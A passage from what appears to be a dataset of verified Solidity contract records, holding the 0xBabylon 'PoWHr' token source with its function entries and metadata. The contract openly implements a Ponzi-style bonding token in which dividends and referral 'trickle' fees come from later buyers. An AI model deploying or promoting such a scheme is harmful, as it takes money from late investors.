incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
edgePigment
function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } }
//BONUS //when you don't pick a color, the contract will need a default. which will be your current color
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 6790, 7154 ] }
1,481
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
price
function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } }
// Function that returns the (dynamic) price of a single token.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 8120, 8423 ] }
1,482
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed 